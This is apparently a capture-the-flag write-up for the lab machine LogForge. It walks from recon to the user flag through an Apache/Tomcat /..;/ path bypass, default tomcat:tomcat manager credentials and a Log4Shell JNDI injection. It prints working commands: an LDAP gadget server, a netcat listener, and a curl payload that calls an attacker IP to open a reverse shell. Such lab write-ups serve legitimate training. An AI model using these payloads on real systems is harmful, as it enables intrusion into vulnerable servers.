Post

LogForge

LogForge is a Medium Linux box built around the Log4Shell (CVE-2021-44228) vulnerability. Apache reverse-proxies Tomcat, and an Orange-Tsai /..;/ path-normalization trick reaches the otherwise-forbidden manager page, where stock tomcat:tomcat credentials still work. A webapp on Tomcat logs user input with a vulnerable Log4j2, so a crafted ${jndi:...} string in a form field triggers a serialized-gadget deserialization and a shell as tomcat. This post covers recon through the user flag.

LogForge

Overview

LogForge is a Medium-difficulty Linux machine themed entirely around the December 2021 Log4Shell vulnerability. Apache sits in front of Apache Tomcat as a reverse proxy; a path-normalization disagreement between the two lets us bypass the proxy’s access controls and reach the Tomcat manager, where default credentials get us in. From there, a Log4j2-backed web application turns a logged form parameter into remote code execution, landing a shell as the tomcat user and the user flag.

Recon

PortServiceNotes
22OpenSSH 8.2p1Ubuntu
80Apache httpd 2.4.41“Ultimate Hacking Championship” landing page
21 / 8080filteredlocal-only services

Port 80 looked like a plain Apache site, but requesting a path that does not exist returned a Tomcat 404 page — Apache is reverse-proxying Apache Tomcat 9.0.31 behind the scenes.

1
2
nmap -sC -sV 10.129.96.153
curl -s http://logforge.htb/does_not_exist | grep -o 'Apache Tomcat/[0-9.]*'

Enumeration

Directory fuzzing surfaced /manager and /admin, both returning 403 Forbidden at the Apache layer. Tomcat’s manager app is a classic deploy-a-webshell target, so the 403 is the only thing in the way.

Apache and Tomcat disagree about how to parse the path segment ..;. Apache forwards /..;/ untouched, while Tomcat strips the ; path parameter and then collapses /.. into a real “go up one directory”. That lets us smuggle a request to the blocked manager through a different-looking URL (an Orange-Tsai reverse-proxy normalization bypass). With the manager reachable, the stock tomcat:tomcat account still works.

1
2
3
4
5
# 403 directly, but the /..;/ bypass returns a 401 auth prompt
curl -s -o /dev/null -w '%{http_code}\n' "http://logforge.htb/anything/..;/manager/html"

# default creds get a 200
curl -s -o /dev/null -w '%{http_code}\n' -u tomcat:tomcat "http://logforge.htb/anything/..;/manager/html"

Foothold

The manager’s WAR upload is capped at 1 byte, so the usual webshell deploy is dead. Instead, the deployed web application logs user input through a vulnerable Log4j2 (CVE-2021-44228). The manager’s “expire sessions” action logs the idle form field, giving us a controllable string that reaches the logger.

Because the target JVM is patched (remote class loading disabled) and outbound access to the exploit tool’s HTTP class-hosting port is firewalled, the simple “load a remote class” approach fails. The fix is to serve a serialized CommonsCollections5 gadget embedded directly in the LDAP reply — it deserializes in-process and only needs the LDAP port, which the box can reach.

1
2
3
4
5
6
7
8
9
10
11
# serialized-gadget LDAP server (no HTTP class-fetch needed)
java -jar JNDI-Exploit-Kit.jar -L 10.10.16.13:1389 -J 10.10.16.13:8180 -R 10.10.16.13:1099

# catch the shell
nc -lvnp 10001

# inject the JNDI lookup into the logged 'idle' parameter
# <b64cmd> = base64 of:  echo <base64 reverse shell>|base64 -d|bash
curl -s -u tomcat:tomcat \
  --data 'idle=${jndi:ldap://10.10.16.13:1389/serial/CommonsCollections5/exec_unix/<b64cmd>}' \
  "http://logforge.htb/anything/..;/manager/html/expire?path=/UHC%7BBadWayToBlockTomcat%7D"

The logger expands the ${jndi:...} lookup, connects back to our LDAP server, deserializes the gadget, and runs our reverse shell as tomcat.

User flag

1
cat /home/htb/user.txt   # HTB{...}

Shell obtained as tomcat and the user flag captured.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.